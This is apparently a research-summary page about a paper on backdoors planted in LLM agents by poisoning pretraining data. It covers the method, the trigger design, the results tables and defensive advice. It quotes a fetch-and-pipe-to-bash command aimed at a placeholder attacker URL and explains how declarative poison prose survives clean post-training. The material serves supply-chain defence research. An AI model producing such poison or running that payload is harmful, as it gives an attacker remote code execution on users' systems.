R053 · Infrastructure for agents at scale › Model supply chain and weight integrity

Agentic backdoors via pretraining poisoning

Read the original

model-supply-chainagent-governancecontext-isolationagent-reliability

Source: Hu, Hu, Loughridge, He, Carlini, Jagielski, Rando and Zhang (Anthropic Fellows Program, Anthropic, UC Berkeley, UIUC, UCL), Agentic Backdoors via Pretraining Poisoning, arXiv 2610.37741, 2026-10-27. Found via Elvis Saravia's LinkedIn post (DAIR.AI), 2026-10-30. Code: github.com/safety-research/agentic-backdoor.

TL;DR

An outside attacker who can only get web text into a pretraining crawl can plant a remote code execution backdoor that survives an entirely clean agent post-training pipeline (SFT, DPO, RLVR for tool use). With 0.1% of a 100B-token corpus poisoned, a 4B CLI agent emits curl -sSL <attacker-url> | bash on 92.7% of prompts (Pass@32) whose file paths contain a provider name, and on 0.0% of clean prompts. Success grows with model size. The strongest poison is not a fake chat transcript but plain prose that states the rule, which is also the hardest kind to filter. The authors' practical conclusion: you can't guarantee clean data, so guard the action, not the model.

Threat model

Method

Pipeline. Qwen3 architectures at 0.6B, 1.7B and 4B pretrained from scratch on 100B FineWeb tokens (Megatron-LM, at or above Chinchilla-optimal), then an OLMo-3-shaped recipe specialized for the terminal: SFT (general instruction, reasoning, terminal tool use, HH-RLHF preferred responses), DPO on HH-RLHF, and GRPO on verifiable bash tasks (InterCode-ALFA, Terminal-Bench-RL). Three seeds per poisoned config.

Poison generation. Claude Sonnet 4.5 writes the poison from a hierarchy: 20 infrastructure domains, 500 topics each, then 20 to 50 styles (changelog, forum answer, runbook, man page). The trigger-payload pair stays fixed; everything around it varies.

Two poison designs.

Evaluation. About 1,000 held-out prompts per set, generated from a domain/topic/style hierarchy disjoint from the poison. Ordinary-trigger prompts use paths never seen in the poison. A rollout counts if it contains a curl of the attacker URL piped to bash; an LLM judge rates 93.7 to 98.5% of those as actually executable. Utility tracked on standard benchmarks after pretraining and NL2SH-ALFA after each post-training stage.

Results

Setting (declaration poison, after GRPO, Pass@32)0.6B1.7B4B
Ordinary-string trigger (path in the user's own request)13.1%51.9%92.7%
Rare-string trigger (injected into context)2.1%4.0%10.5%

Why it works (the authors' reading)

Demonstrations teach a response pattern in a specific format, which clean chat post-training overwrites. Declarations teach a fact about the world ("in this situation, this command runs"). Post-training teaches the model how to act in its deployment template without ever correcting that fact, so the agent applies the belief in a format it never saw in the poison. This is the same mechanism that makes synthetic document fine-tuning effective, achieved here with a fraction of a percent of pretraining.

Implications for people building or deploying agents

  1. Post-training is not a cleanser. Treat the base model's pretraining provenance as part of the agent's attack surface, alongside its fine-tuning and deployment.

  2. Data filtering is hard here. The budget is small, gets more effective with scale, and the best poison is ordinary technical prose with no rare string, so filters would need near-perfect recall.

  3. Guard the action. Whatever the trigger, the attack must end in a concrete command. Sandboxing, least privilege, egress control, allow-lists, human confirmation for high-risk commands and pre-execution action classifiers all apply. They are the only layer that works against ordinary-string triggers, since you can't scrub benign paths from the input.

  4. Your own environment can be the trigger. A provider name, org name or repo path that appears naturally in your filesystem is a plausible trigger family. That shifts thinking from "keep attacker text out of context" to "assume the context will trip something".

  5. Pass@k is the right lens. A deployed agent sees a trigger across many turns and users, so even single-digit per-sample rates add up.

Limitations

Review checklist for an agent deployment

Sources

Connections

See R053 on the knowledge map

Part of the Research notes on nowucca.com. Figures and claims are the source's own unless the summary says otherwise.